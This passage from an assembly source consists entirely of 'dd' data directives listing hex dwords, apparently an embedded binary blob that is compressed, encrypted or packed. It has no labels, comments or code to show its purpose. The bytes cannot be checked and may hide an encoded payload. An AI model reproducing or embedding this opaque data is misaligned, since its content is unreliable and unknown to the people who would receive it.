1EEFE502h, 1BB7F9E0h dd 1DB03503h, 0B0BFE803h, 0B8B52A69h, 8181E0ACh, 5C328Ch dd 5949F5EBh, 79AEFFFh, 2D391E01h, 318A0147h, 43C45BEh dd 90E09880h, 164A2B04h, 3EE32E00h, 0A37DF9B1h, 0DB600040h dd 8CA2ACDFh, 2006E6DDh, 3DF64BF3h, 89B40h, 50980466h dd 300018B7h, 7548BB28h, 1EDF1h, 72FBE636h, 7C19A23Dh dd 0F80C5100h, 556BE2B5h, 2576EEh, 44F2E7BFh, 8F7679BCh dd 4C3C50B9h, 3038417Ch, 0C50065B9h, 556FC419h, 7FE393Eh dd 7CFAA33h, 7D2F83E5h, 67A7E112h, 0EF14200Eh, 6A925D8Dh dd 8C866C00h, 54A5F7D9h, 0E578482h, 0B1CDD6ADh, 2B912DCh dd 6114BEAAh, 0A40154E4h, 0DE065D48h, 0B6D895F8h, 0A26C3239h dd 8C52A358h, 0B8503100h, 344B936Bh, 75F51C9Fh, 25E18133h dd 64872CBCh, 0C4960DCh, 805C3EA0h, 6D1DDBB9h, 6001E2A4h dd 0CB2C0E1h, 0B4048346h, 3BFD436Eh, 0B92F688Ch, 0AE63857Ch dd 76640BC4h, 5863B89Ah, 0C0AF63E0h, 76F85D52h, 621CCEFh dd 8DAA600h, 6962257Ah, 102D48B4h, 0A80750C9h, 8242E4DDh dd 69207D90h, 17383EFh, 0F832B41Eh, 70C23CCAh, 961490BCh dd 3540A41h, 0E383D3B2h, 0A3ACF9C0h, 0DAABD8h, 0A7E5B402h dd 4BF4B614h, 84A2FD2Ah, 114AACA1h, 718078A3h, 0F79251E7h dd 0BF00E217h, 0EDA8E975h, 699EF498h, 0FC9012AFh, 16302A6Fh dd 0C1871161h, 9DA20013h, 7B28E596h, 4649E68Fh, 0C02429B4h dd 0A400CC96h, 7AD02C5Fh, 0C5CA01DDh, 0BD196839h, 48AC2540h dd 1201D9ECh, 16A79285h, 2DDC3194h, 268C246Ah, 14B31184h dd 952FD9h, 86410367h, 9A18FAh, 0FEF79D8Eh, 0CF068CEDh dd 209134F0h, 0B33878A0h, 83248082h, 1A863AC0h, 66330067h dd 0A91CC856h, 5309A5FFh, 13B89E6h, 0A8BC761Bh, 4B8C798Ah dd 823F80A0h, 13613DB2h, 933B0C00h, 1E25C31Dh, 0E4160006h dd 0BE9F022Dh, 88FE8352h, 685FBD2Eh, 0E4BC6941h, 0D5D0E8h dd 40A934B5h, 0AA986AC3h, 59EE69C0h, 0CF82A6h, 4F25ECCBh dd 46FEA3CAh, 0BBF087E0h, 0FD287967h, 4114C97h, 0E88A8C3Ch dd 0E0F07744h, 8682FE27h, 6E7BF003h, 98E52035h, 0EAC5F390h dd 484958BEh, 9D4D32Ch, 5D0326E4h, 0E958418Ch, 5D007FEFh dd 4DAF14F1h, 198DFC83h, 0E8437129h, 75D06026h, 0FC99F5EEh dd 0BF091E1Fh, 222A8904h, 207D2CE8h, 0BE790A58h, 0C8FB4112h dd 438F1040h, 1F25773Eh, 0A4B8C0AEh, 586640A4h, 0EF7DE5A4h dd 49006CB1h, 27E6F0F1h, 572C064Ch, 40422069h, 22B201F3h dd 74E46002h, 68CF2D00h, 2432FD77h, 636F0734h, 249D432Eh dd 0E0F0C286h, 0CAA2BCA0h, 1D3CB556h, 0E6D2078Ch, 34E0C125h dd 0D45F94h, 0B285B1BFh, 3E773B47h, 422461C3h, 54E14850h dd 336134C1h, 0EE6FDCB0h, 95252601h, 7E605B24h, 3449A6h dd 0D5C650FDh, 0CC293EDEh, 0A02894ADh, 0BF0944h, 470EDB73h dd 1E2DC828h, 86518C0Fh, 0AC33B6B4h, 0D5A400B5h, 4DC48967h dd 984C0269h, 383E12D0h, 7F58E4D0h, 648D5878h, 0B577B80h dd 0FD0106BEh, 155C5BA3h, 4060E980h, 0AD42843Ah, 0FE773300h dd 0C97C8872h, 564BBFF2h, 51708020h, 1C4D00D0h, 4F343C77h dd 0F2FE7DBAh, 90245C27h, 2A94050h, 267CFE90h, 44C4BB76h dd 20AC8825h, 8CC1B13Ch, 2C2490CCh, 6050A785h, 0B2840D36h dd 41D26F00h, 0C5BAECB5h, 5E802E0Ch, 4E0A6B0h, 88072438h dd 68FADA64h, 76E04209h, 0FCCC4BAh, 8C39BBC5h, 2D361EF1h dd 0D12BD7C3h, 0C82E793h, 94A40B3h, 3C8A8A5h, 304998Dh dd 1EA20892h, 0CECA0D0h, 0DB25C24h, 712D4F00h, 2088BDCh dd 0ADE02E5h, 2C686AA6h, 0CB8BCC1h, 0D58644h, 0E958452Dh dd 6C6E14C2h, 0ECA552h, 0F35CDB36h, 12871C7Ch, 0A3BBE17h dd 40886025h, 0FABB43C9h, 0A2542A07h, 0C740E4FEh, 9389FD2h dd 0C27B68E0h, 8E04E0A0h, 953271E8h, 20B380DBh, 62A01EB8h dd 144EC800h, 8B9728CEh, 5E750064h, 379D6851h, 7F0302B3h dd 0B8418EB4h, 51BCF294h, 25BC2C70h, 0F7048810h, 74CADB2Ch dd 0C2A47606h, 261D0929h, 30982068h, 0F900CECBh, 22A83FE3h dd 9A261Bh, 9CC4E546h, 18F02BD8h, 348C369h, 0F84BE44Ch dd 2A2FE5B5h, 18F87F19h, 51C54124h, 521301B3h, 8057C1AFh dd 532BD430h, 9404009Bh, 0F043A4DBh, 39C0FDAFh, 9F905044h dd 0D87509AAh, 20987DEFh, 28F403EEh, 82D6C414h, 2D130FB4h dd 39882765h, 0F7AFA320h, 714164BDh, 0FE3D403Bh, 0E40822h dd 38434058h, 0B375BC9Ch, 8828A958h, 0F8AC80D4h, 0CEDBE794h dd 0BF0085F6h, 0E6B26C95h, 31171D6Bh, 76A9A3A5h, 809068A7h dd 0B09041BFh, 801899DBh, 9973215Eh, 6500961Fh, 0B82B0331h dd 22AEE267h, 0C1F07DBFh, 0B718E02h, 0C137E591h, 1D10B974h dd 0E37C02DCh, 56074B18h, 0C0E19659h, 0E20AEE21h, 0A0000E9Ch dd 378D050Dh, 1FFA5A82h, 8152FBBFh, 66037DB6h, 20E180D2h dd 848F9D28h, 3F4C3A6Ch, 0A59FE10Bh, 0F8A29680h, 5E005706h dd 1461F3F0h, 2E65BFE7h, 10601D1Eh, 4C899609h, 0A17460h dd 5EF3BFE5h, 0B27DB5D2h, 6F1EFB06h, 0A629EBA4h, 0E2C100ECh dd 300F9202h, 392511E6h, 68CC10DEh, 6E4C031Fh, 64064B71h dd 6CDAACFAh, 0AFE69205h, 9C4327F9h, 0BB59683h, 0EECDE239h dd 136CB080h, 0F8005DE0h, 5EA98B2Fh, 7303239h, 0BC2740FAh dd 0C0B7A4A3h, 6F6052FCh, 0E1FB433Ch, 0F12D86D9h, 0BC2960h dd 3E964C79h, 8DB485B3h, 7E8060B6h, 19CDFC4Eh, 0D8E81EC8h dd 4973C72Dh, 0ABFAE065h, 0F409A7B9h, 0E860DD0Fh, 3E293308h dd 3201A5E6h, 0E7F626DFh, 0AF62F835h, 7C40C345h, 61B51E03h dd 695F5AE0h, 9C5C3999h, 7C017091h, 0A8850479h, 104AC00Bh dd 0C5F4DD5Ch, 7BC02917h, 28C063ECh, 449CB46Ah, 51050880h dd 2456CCD1h, 64CD10D2h, 37DE80D8h, 4B231A92h, 24C031FFh dd 0C94467Ch, 6399A702h, 3A98448Dh, 7480435Ch, 0CBA56561h dd 9D00C36Ah, 0DFE1C91Eh, 2721AA09h, 0BC912F28h, 2C583376h dd 1E0E71AEh, 0A319092Ah, 0F4887630h, 483E54D8h, 3729C7Eh dd 41AAA904h, 18785885h, 0BA4034B4h, 1FDE76Bh, 0DDE8202Fh dd 82AC964Ah, 60778E49h, 0E2DE4034h, 95720092h, 0FEAF034Bh dd 189B2273h, 0E4913080h, 734D98BCh, 0E2209E10h, 96047F41h dd 0FE295C88h, 433800CEh, 0AA5F405Eh, 4B00564Eh, 494FC760h dd 17DDC39h, 6E0A878Dh, 807C2B3Eh, 0F335FBB9h, 90A6D6F9h dd 7F4444D4h, 0F01DE307h, 75470F81h, 66A3BAF0h, 1820055Ch dd 0C05AF1AEh, 1A902EF0h, 0B850DE24h, 0B161E026h, 68F2CF0Bh dd 884E8D00h, 26091274h, 807C3E5Ah, 38E3E2F6h, 1DF40041h dd 39D8B6AAh, 0DD7973D9h, 9D919E02h, 0F11E0C8Ah, 2BE88390h dd 9BD9D240h, 0EAF3405Dh, 0EBB0F2FDh, 89834500h, 8E687B74h dd 74A54C6Eh, 0B32CB80h, 491F41D8h, 0AF0EA6h, 0FA025A0Ch dd 0B67810h, 0BEE19F7Eh dd 8DB7DED3h, 246E62Dh, 71FD4120h, 0B911C4h, 63CA4E95h dd 78D4A7DDh, 4010BE41h, 60476232h, 0B0362B00h, 0F4FEB9ADh dd 8A0B30A4h, 0BEE2DF94h, 0A89EE27h, 0C5670004h, 457AC6A0h dd 463E2479h, 7BC00C14h, 0D90011C9h, 20D14961h, 244D14BEh dd 0C5E4AE6Bh, 82D0F06Dh, 272EE53Eh, 248406A3h, 0FFD70061h dd 8E333AC4h, 0C000712Ah, 6ADD68F9h, 3175CDA9h, 1DE1B7A4h dd 0F86DAEh, 4E9CE762h, 3FAA8811h, 1C0F12E6h, 0E8412EFEh dd 6013684Ah, 0F54B85BCh, 6C309C53h, 0B7ED35h, 0E4A83A1h dd 3140F02Fh, 720055E0h, 3ABBCCE8h, 9094EE03h, 2EF098C8h dd 49B44EF3h, 508A2004h, 0C13CC094h, 168C16EEh, 84CE2D8Fh dd 0E3F8249Ch, 0CFB93C6Ch, 41674801h, 3C6D8D58h, 0F548E500h dd 312794C0h, 0EAD2E200h, 0ADFA56E4h, 7A4A121h, 0E585B438h dd 6878C709h, 91C6AE8Fh, 8A904F03h, 11007AA3h, 0E25C56C0h dd 289872h, 51F9F294h, 42EE2A58h, 0C8612B4Ah, 9C7762A7h dd 0C563417Ch, 9253103h, 2D5830C4h, 5FFFE401h, 86556143h dd 6626D47Ch, 39CB01A8h, 2975071Dh, 1A231754h, 0E5939802h dd 84806126h, 1B02A10h, 0AE2EEC7Ch, 55465C9Ah, 48140039h dd 3C3898F1h, 8EEED937h, 25510400h, 0D3CC7161h, 40A84A42h dd 0D9A56650h, 0A3022916h, 0D94618Ah, 0C19882E7h, 80BF10AAh dd 0A3A67688h, 0EFCEA050h, 1F0BA2Ah, 52AB563Eh, 2BCF951Eh dd 357B1421h, 4A0CDFCh, 277329FBh, 0F180AB38h, 0EE1024BFh dd 0D9B601EEh, 479916C9h, 3ED88C54h, 4588713Ah, 0B3EC0486h dd 1F745854h, 0D1176408h, 0FD78F830h, 114A268Dh, 5E5B0067h dd 73E4DA5Dh, 8078E559h, 71E99A51h, 9F4C0B8Ch, 0CC90963Fh dd 85F288E3h, 3D847E12h, 0D1EC2416h, 0B6D0405Eh, 0DFECFB78h dd 860080FAh, 0A3B77BEh, 0F411CBF0h, 53A60105h, 6836FB46h dd 45702114h, 265CF604h, 3E011791h, 6ACA2BA8h, 0F03329D5h dd 186524h, 9DBADF86h, 68750ADBh, 8EB15805h, 14CD26F7h dd 92E4F8h, 0D450CA6Ah, 6304B14Ch, 2A62F201h, 0BC12698Bh dd 0D0C7CC2Dh, 24858047h, 2A3A6FB7h, 9099A4B4h, 0F32B2540h dd 0C17902C2h, 0CCAE1EA1h, 67078C72h, 0FAB5A6F7h, 0AAF47A10h dd 0DDF83E2Eh, 479C992Ch, 264950D7h, 0A200DE70h, 6F159E65h dd 3E773F7h, 0DD2DEC0Eh, 80122F02h, 2824A476h, 9A38EC80h dd 720C078h, 216ABCAEh, 759EED0Ah, 342414BEh, 0E5960E01h dd 0F4225F93h, 52F02618h, 6112A05Dh, 20E2F2F6h, 81963200h dd 0B4D5976h, 100B479h, 0F72A3C04h, 0B8F07A7h, 0A5E4776Bh dd 0E9439849h, 89E2CCC5h, 0FD2FA703h, 8F0DDB0Ah, 0A8AC91D1h dd 4F0FA078h, 0FB467D10h, 0C8B0A183h, 0C37B40B0h, 138F2C19h dd 56EA09B0h, 8C02608Ch, 0C91C2AFh, 0A7A1006Eh, 97E8F83Fh dd 0B7EC0090h, 0E3FEC400h, 77B54D87h, 0A3B13064h, 50A5CC98h dd 0B3793505h, 0C4E027ECh, 8B2B0403h, 80BDBADEh, 132A2112h dd 0C001FB4Bh, 0C0AE3DCCh, 0E06150E3h, 46C992Ah, 0E33FAF09h dd 6F1007C0h, 0BA10DDECh, 0B4FD4BD0h, 2E248988h, 0AB37CE8h dd 0A38EF116h, 0CFEEFC20h, 3EAA00E3h, 6FFAA9F7h, 5100B559h dd 407328B9h, 23CD421h, 1EB1F3E9h, 1CC02BECh, 28B041F1h dd 0B45FC67Dh, 6E318020h, 0C29A00E2h, 0B065FECEh, 0D84DE462h dd 708D09F4h, 412C8189h, 3C2DAC07h, 7C3F4576h, 8E14833Ch dd 4710C8AFh, 0F6600F9Fh, 0C4606ED0h, 4C5931B8h, 0ACE99B01h dd 0CCAFB485h, 672EE462h, 8CC5138Bh, 5C1C7EC0h, 801BCC1h dd 88E63336h, 7D622D4h, 0F7DAA10Fh, 8580157Ch, 9110F53Ch dd 0A700B440h, 0F41C3D1h, 0F97FFF06h, 9875A800h, 72EB9F86h dd 68F0059Bh, 0E2FDAE6Eh, 13BA2364h, 77650C4Fh, 370EB0E9h dd 29917DCh, 8B41B9DFh, 422464B0h, 3E7922DDh, 5780E526h dd 7AC7D01Eh, 3E00ACDCh, 786C70CDh, 2CC1FDA6h, 11D085E6h dd 7A8C18ABh, 0F0248149h, 2DBEF217h, 0E018AA7Bh, 3C00FDD1h dd 48DEF995h, 0BEE659h, 0E8FE3817h, 77C0DD26h, 24800E05h dd 4C1E4205h, 9FB0022h, 0E0601422h, 100B5E5h, 3EFD96A0h dd 1BCBD8Bh, 0F8E802ADh, 396571F5h, 1CC10058h, 0E0510919h dd 0E9C74CB7h, 36CE007Ch, 0F9ED28CBh, 0FA01B80Eh, 0E46AF6E7h dd 0B0414F0Ch, 0CD097DC5h, 0A7B91185h, 0A0AF98C8h, 991908h dd 0C1290305h, 0EA90A89h, 63620800h, 0BEF94DECh, 0B324A18Ah dd 0E2FCC50Dh, 40B4ACD8h, 637C0387h, 0DBA7AB81h, 0E47C8C35h dd 2CE67280h, 4209459Fh, 84C41749h, 0D885D4D8h, 0B00474E2h dd 0C21FF958h, 5CF2CE2Ch, 46059898h, 3D5A3EE6h, 0E5C5CC80h dd 45BC0339h, 2E412432h, 3DE04175h, 0DB8948A0h, 0AFF19204h dd 5895AEF7h, 460BB4A3h, 0FC82891Ch, 1DE09277h, 0AF04420Bh dd 0A85FB296h, 0C0523493h, 0AD0E1Bh, 0C52CBDABh, 0B4EC6AA0h dd 8066A93Dh, 0B2BA4EE5h, 76BD2A68h, 6A111367h, 718D761h dd 0E869E17Eh, 58B8A429h, 0B0B2FD13h, 0BF90B921h, 0B2510A82h dd 0B089B285h, 187586D4h, 3E7D2874h, 6EF86262h, 3BFD2283h dd 0F5E810h, 9BF3300Bh, 0A3BBC167h, 0B6A67508h, 0C4B9007Dh dd 0C0AFF051h, 38782Ch, 5EBBA385h, 12A08CC3h, 93F9AE29h dd 20208330h, 804C275Dh, 8400804Eh, 0D9E34DCFh, 7E4526B5h dd 0C71B0894h, 510420D6h, 8481A26Ch, 602B84D8h, 760CC428h dd 50436B00h, 746F8F29h, 0EAE3031Eh, 1DF72B83h, 0C86107FAh dd 73B42024h, 0D181EE00h, 0AE370A8Dh, 0E0BE3EE5h, 1C98BB26h dd 7B9AC929h, 8401DC5Ah, 0D05DCDB7h, 202FFEAEh, 0B3A3C128h dd 34D88664h, 0F92F0606h, 92A0E858h, 0FD2148E6h, 36642026h dd 0F090964Bh, 0F9003FD1h, 0FF3A734Ch, 4E5A3D15h, 0B698204Bh dd 0EC00B736h, 58C49C07h, 2C94A2Fh, 0AB9F08Ch, 0C4C15685h dd 8B9450FEh, 7C50733Eh, 0F192F8h, 0C520358h, 6AFB4C01h dd 0DF81B229h, 410641CCh, 0A5DA4088h, 0A492518Eh, 76112601h dd 996CDF3Eh, 2B3F0432h, 60F95F80h, 569A1EF4h, 11C6E803h dd 0CC4DEF2Fh, 690058A6h, 2067B62Ah, 224DAB9h, 0A308B0B2h dd 46F8023h, 6568D360h, 59B1D660h, 3E732Fh, 1757B81Ch dd 1EF11470h, 0D1E99302h, 0E06798F5h, 3DFD90h, 715F15D7h dd 0E6130470h, 2B51EF14h, 0BE670BD8h, 0BD08824Fh, 0F928506Ah dd 0A6B27094h, 0C5346850h, 0E2A57689h, 0C15440B0h, 4BEC6F53h dd 0AD0004CAh, 0A6411225h, 6C009CA5h, 0D3CA51EDh, 4A35D9Fh dd 896AB667h, 0ACB98Dh, 6E5A2C98h, 24788455h, 550DB9Ah dd 44AFBBBh, 1D8AFAD8h, 86E49165h, 0B2807C7Ch, 887D1130h dd 0D1006773h, 1E5648FEh, 693FABA9h, 1CE3A13Dh, 7C7E209Ch dd 0C3A701BBh, 5DD586DBh, 82F04454h, 67207FFCh, 2F6BCB3h dd 0FF0EB819h, 44D96C68h, 4B9E1800h, 0DD50AFh, 553B7EE4h dd 83392D8Fh, 704AA4BEh, 88F9EA05h, 0B3EFDD83h, 4E2C64EEh dd 5818F848h, 81A8C0F8h, 0BE4A9Ch, 9003F7E5h, 9EFC4185h dd 2B8FC4A8h, 1CD0F84Ah, 5888134Fh, 24C524C5h, 0BCDCC806h dd 0CE4F8F05h, 9C21084Bh, 9E0F68Bh, 9E209A67h, 109B4770h dd 61FA8CABh, 2A00B0FEh, 0F9CE01CCh, 0F0C5269h, 24569496h dd 90534D89h, 5B8AC780h, 1B8DFFh, 0B6C81DBAh, 0A6023F39h dd 0BC079C91h, 1E64C373h, 470E48F3h, 55602AA9h, 1770B3FBh dd 4B2BCEEh, 6967B502h, 0C980C1AEh, 76DA7690h, 61C4444Ch dd 7C40058Ch, 6295E23Dh dd 0FE41117Eh, 8D425C7Ch, 58EC4869h, 7B28C93Eh, 6E8F2CD3h dd 0A0B900BFh, 961D3Eh, 8F586089h, 0BCDA7ABBh, 34C8884Eh dd 0DD721D0Dh, 5FC147BEh, 4C6A005Ch, 4011E94h, 31AC09EBh dd 0DC4405A4h, 4F0318B9h, 81BCDF90h, 0F0C0B080h, 7073244Eh dd 7020E5AEh, 136F14FAh, 9546F3A5h, 0D9A68680h, 0BC562400h dd 0D13AC3E0h, 4A0B268h, 0BD31B884h, 1CA4818Ah, 13FE1288h dd 17802EE1h, 10226860h, 915F6FBEh, 88903480h, 0F900DB48h dd 7F14C482h, 38ED191Ah, 147528A9h, 440141C1h, 4E77D85Ch dd 0A2380269h, 8840D247h, 852DBE43h, 3864B4h, 749A195Eh dd 0DE0B7866h, 49EE3A09h, 34D17Eh, 2B60ADC8h, 0CD057529h dd 0C2765FA2h, 0E452E453h, 90C0B094h, 7CA6C8F4h, 5B40F6E5h dd 0DF58478Ch, 7910099h, 0DE00F5B7h, 96460D1Eh, 16FF4C90h dd 0B985A29h, 0F005A560h, 0DCB020F8h, 6604E911h, 0E5D955C6h dd 588940B0h, 0E0530B3h, 70FB4Bh, 0AE8E057Ch, 1096BA4h dd 2AAD9868h, 0A61D602Ch, 0CA884B22h, 173E7B40h, 284E00F3h dd 64EB6CFBh, 0ECECFAh, 5E8F2F54h, 0A78D0C41h, 84CC3D13h dd 9BDF6861h, 9489E845h, 0E99CCCh, 0E00831E1h, 0FDAF5102h dd 32677444h, 23B81C6Bh, 85421E20h, 20A8987Ch, 581F7BD5h dd 419366E1h, 0D82F2804h, 0A444AD5Dh, 1B097E00h, 49913A37h dd 4F360026h, 56A4BCD7h, 2909088Ch, 0E468837Eh, 0A66C0094h dd 7BBD49B1h, 6D002DD8h, 85C0059Fh, 2D51FCC2h, 34CCD42Ch dd 25E9C400h, 5511071Dh, 17BFE4Bh, 54FDF380h, 609112AAh dd 0C600E45Dh, 0FE1EA341h, 74382B5h, 0E57BFB5Fh, 0EC4024CEh dd 0ED8480F4h, 407A216h, 0EDD2FF6h, 1100BCC8h, 0B782389h dd 0B84BBB2Bh, 0EC461009h, 0A4D4A000h, 1B51F465h, 9DB7002Bh dd 784186CBh, 3A1667C2h, 0A400CCCDh, 0E5BBC98Fh, 0B722F0A5h dd 0DA88A038h, 2E52080Bh, 2F988256h, 0E58C0446h, 1FEBC04Ch dd 309AE200h, 6635D2C7h, 9F411879h, 0FC43380Ah, 0BB64B0h dd 0C54709h, 0EC1CA65Bh, 18980053h, 473FF71h, 7712960Dh dd 0C890601Fh, 73F2A27h, 1A4870F5h, 9BFDC0CEh, 6A7FC1C7h dd 628B0E0Bh, 30C400D8h, 0B8D3FABEh, 678F440Ch, 3800ECA6h dd 775D5F13h, 77EC01C7h, 0D7D90456h, 805CA292h, 0BA76DBB4h dd 0FD40DCB4h, 2E0BD41h, 8C1E9593h, 10D48860h, 596C88Bh dd 4CAC3FBBh, 47BA1298h, 0ED072603h, 7D2F9783h, 417C4038h dd 0BA0B70B3h, 5E8804BFh, 0DCF30302h, 0A5108440h, 3BECB1h dd 0CF537EF7h, 5C4ACC0Bh, 8C589CB6h, 0B109D44Ch, 60FADBECh dd 47B3D21h, 0C12B9819h, 63413E6Ch, 0C38127B4h, 0C0B7AD1Ch dd 93F01100h, 0B74A722Ch, 150FD14h, 0FA5101EAh, 0C9BF3317h dd 128642C8h, 0A159F061h, 3AC2C660h, 1900ACC5h, 20A8C6ECh dd 0F8CDE255h, 82FA02E3h, 0F80331D0h, 0E7638460h, 1E3ABF04h dd 9CE4A5F7h, 4C60007Eh, 0AE4004A8h, 489C7DC2h, 3824C052h dd 408D4F03h, 0DFE50F4h, 4CE4841Dh, 6D694D00h, 0F3AFBCEDh dd 17E9E6ACh, 0C8E81E59h, 4D0029ECh, 0F8D46A58h, 1E1C50F3h dd 3814AEh, 2B045D27h, 0D95D629Dh, 48C0CAB8h, 0BC83BA90h dd 0E2DD75CFh, 90FE213Ch, 84CA81A4h, 586D98E3h, 0A91B9002h dd 8C0C63Eh, 13009620h, 5E30C968h, 0B4ED4024h, 0E63540A4h dd 6601D6D2h, 7560E374h, 0F5D07D9Bh, 878C010Dh, 0E770C02Eh dd 34032A67h, 0A3F4234Dh, 25CE9862h, 1F2012BEh, 0E1AC3026h dd 6E1D7F81h, 7443A43Bh, 0D80B551Eh, 128E19h, 57C34E09h dd 16042168h, 0BCD43609h, 0B0D8D80Ch, 0C38C44F8h, 80F051D2h dd 0B0F0B057h, 0EDD11288h, 4A226h, 2EACB43Bh, 25FA6Fh dd 8180D7C2h, 492F1426h, 0BAD36800h, 38290FDAh, 44FD5E4Eh dd 0B10624D8h, 88306F2Ch, 69CC01h, 1A9373FAh, 8379B5E6h dd 0D8BCCE5Ah, 0A5130900h, 6F69DF18h, 5B842A16h, 32B0E4h dd 2128165Fh, 6F27245Dh, 0FE59C600h, 0AF0D1F06h, 4BE43A69h dd 1C72D7D1h, 1BBC5000h, 0C7AA480Ch, 283DFA04h, 0F8ACFDF6h dd 5F22847Fh, 0D565010Ch, 20D12DF4h, 2A70F4C8h, 98691E04h dd 0AE094659h, 4F1704D1h, 247C8041h, 78443338h, 2B5E0F4h dd 0AC9C27F6h, 0DB20AB99h, 3397EE2h, 55F02F04h, 69E3B6ADh dd 7A4017A9h, 1E2BA802h, 484A0E7h, 363738Ah, 0F0E07B7Ch dd 0C98ADDC8h, 986A0860h, 5A34A095h, 2ECB22ECh, 4070A388h dd 0E4C05EE8h, 8079570Ch, 704A5089h, 0C9544E43h, 402FFA50h dd 0A9C6AAA4h, 55E600F2h, 573E6876h, 0F0B8883Ch, 80B05491h dd 0A6EEA9Bh, 6DA3BADAh, 884C80B8h, 42094362h, 0C0083B9Fh dd 604E3Ah, 0D2F63F7Ch, 863D9765h, 58AE1E28h, 74E1A40Eh dd 483B40F3h, 0FE6D4FB5h, 1E340BF1h, 64F14B1Ah, 0B51D8B06h dd 0DE2C31A0h, 3A014161h, 977D4028h, 65DD7D60h, 4AF74500h dd 0ECC130DEh, 986E279Bh, 267F1CA0h, 0F22F15CEh, 0DD208114h dd 326F2440h, 0B211F488h, 123E4ECDh, 0ABD430E8h, 0DA078902h dd 0DD4CF546h, 4B1EA070h, 39BEE7F6h, 76270103h, 0BD883F7h dd 0A54AE41Bh, 0D95408D0h, 4EC00057h, 0ABB975B5h, 0CA1F5B78h dd 1D8B0DD2h, 0E40C6468h, 821800EEh, 0A640F111h, 6904158Dh dd 8ADD12A9h, 39C408BDh, 0F88F0A6Fh, 80A3CF6Fh, 0EA88F367h dd 7C7FEC2Bh, 0FCC3388Bh, 3F804CBh, 5718C289h, 90F49B24h dd 5B80166h, 18D7A1B7h, 92D20ADh, 869C0809h, 4AC0D8B2h dd 31C41FCh, 306E9EF5h, 7F168544h, 0BCB3C265h, 419D503Eh dd 394B004Ch, 182B02ACh, 8ABA6913h, 1DB2CC8Ch, 284B8143h dd 3FF322ACh, 0B037A49Bh, 8447914Fh, 43A02D0Dh, 66840CE8h dd 0FED43Ch, 0BA42F8FAh, 0A189BBB9h, 10BF881Ch, 0A08C2FC2h dd 589CD710h, 0B829026Ch, 99F87815h, 6DFBD4C0h, 3A762240h dd 0D85AB5A2h, 4801B85Ch, 0D1C7F682h, 89C92CF7h, 24701AD9h dd 4040BEB2h, 0B65B2572h, 8602427Dh, 0BB7641A8h, 40BC76E1h dd 799A9508h, 15F3CCE9h, 0E4363805h, 0FCB7FD83h, 0E028204Bh dd 8D005618h, 0F274F85Eh, 3CBB9Eh, 79962D14h, 7565398Ah dd 0FD18AF04h, 8A0D351h, 45B4A610h, 2542880h, 3EFB4366h dd 9BF422B9h, 0A9409454h, 27B5AC9h, 0DF83FF58h, 0B4E0FD20h dd 0C0C20FAFh, 0D991577Ah, 77BE8880h, 80D08C14h, 0B913DBCDh dd 0F8370929h, 0F090A5FDh, 8A0F6836h, 0E28003E6h, 0C3EFEDF3h dd 8B980243h, 0C2E2FB41h, 0EF70520h, 943800ABh, 9D13CADCh dd 1E50016Eh, 0E5007ABCh, 0D1E11126h, 0B19AB410h, 775100F8h dd 0BD69C94Eh, 20930A25h, 372A0234h, 0B70710Eh, 0DD1C1562h dd 0A8D98062h, 56C0003Ah, 6DFF6E7Ah, 3FAD098Fh, 54194E2Eh dd 0E5031125h, 0AF858840h, 3A84A0C4h, 0CEE49641h, 4A9790E0h dd 7B006DFEh, 50C2B3B0h, 0D83071h, 890B5B5Eh, 526491A5h dd 438D0C11h, 62C40D00h, 240960B7h, 0CAF5F004h, 54F5423Eh dd 0A828206Eh, 0C7000F93h, 4352502Ah, 0F9BEABFEh, 6FA8316Eh dd 5072F8B5h, 0A4EDD600h, 122FD2ABh, 0A6AC3E0Ah, 5B824C0Bh dd 872454C4h, 0A2605840h, 17103FF2h, 315566h, 0E9B23D4Ch dd 0F3254125h, 144C89h, 0B04FCAD2h, 3DC5E134h, 0AF00B5F8h dd 97AA9942h, 28AD12FCh, 329CDB39h, 6F7057E7h, 811D10F1h dd 84BE2222h, 9DD41D50h, 18248E03h, 3EC6AE13h, 0A00E4479h dd 9193DB88h, 10C3C2C0h, 16D1F8E8h, 16BF18DEh, 0F9AC8848h dd 5C28A24Bh, 61DA002Dh dd 0B8EA410Fh, 2C017C3Eh, 0DDA17883h, 207B43FEh, 0C6D14850h dd 0C77A1A24h, 0EB432D1Ch, 0BE00430h, 602496A8h, 0A3B78490h dd 0B8D00900h, 7D516DDh, 0EC21032Bh, 0EAFBB1F2h, 925D8DD0h dd 12AC1E50h, 0BA412913h, 0A48FE888h, 1A520984h, 8049B96Fh dd 8402F65h, 2486D7F6h, 71490B4Dh, 8580C6E4h, 40A8C0AEh dd 10AB74A1h, 0F0FF04h, 9CED126Fh, 0FE3CB1DFh, 832A6907h dd 61E7C168h, 803EA6F1h, 6B10A07Dh, 0F8214B22h, 34C4CFCEh dd 827E00FFh, 0E3293CD6h, 6298534Ah, 0F0A3300Ah, 1A09F02Eh dd 8228187Dh, 569B096Ah, 1464FD1Eh, 6B43FA00h, 0EF99DCF2h dd 80A3007Ah, 124B53D8h, 0DE058FAAh, 84EA81B0h, 0AE12BCE2h dd 0CAC8A2CCh, 1E85F488h, 70E067B5h, 8028BE5Fh, 1AE04531h dd 0E3A4692h, 269C4D8Dh, 1E958CBEh, 52409B8h, 1A8051D8h dd 38F1F9ADh, 7700CA1Fh, 0B9651D04h, 0EDDD0061h, 0EA8AE62Fh dd 0D000BADFh, 0F3EF1226h, 0FC247AB6h, 98109742h, 189031ECh dd 34B44090h, 0F60DAD40h, 0FBDC002Fh, 47BCA1B9h, 0ED0E611Ch dd 6BEA13B2h, 64CCC168h, 4C201802h, 4FBF1E03h, 7864882Dh dd 0AD5A2405h, 0D080DB9Dh, 16F11D05h, 35332D86h, 8EA780E4h dd 81DD56Ah, 34976EA0h, 10804F2h, 2A89BEA7h, 106E4Bh, 9571E135h dd 9247A7B5h, 57E8A900h, 22EAADA3h, 8A7B053Eh, 2C014B11h dd 13007DA0h, 542A0964h, 4D93A20h, 0B5EFA9EAh, 484CB8D2h dd 9C7C02Ch, 3DE830Eh, 0A0BB3E8Ah, 6C98BED5h, 250FACBFh dd 81A16504h, 0F9AE2167h, 5F2E3862h, 79414068h, 0CFFC5596h dd 0A2679500h, 24885931h, 7DDB2538h, 7AE02CCCh, 36D6700h dd 60E72661h, 68B70517h, 0BA4939h, 0D2C8FEA0h, 353C7A9Bh dd 4FCB0090h, 0FD3CC568h, 36B9005Ch, 63FC6B02h, 563DEAAAh dd 40330015h, 0DBCB71ACh, 0AEE1007Ch, 355BA5D5h, 6118F558h dd 66286032h, 0AF0D0096h, 8FFB4B6h, 9A076C1Bh, 5AB1F819h dd 138ACC41h, 0F7109DCh, 0E23AF278h, 169883ECh, 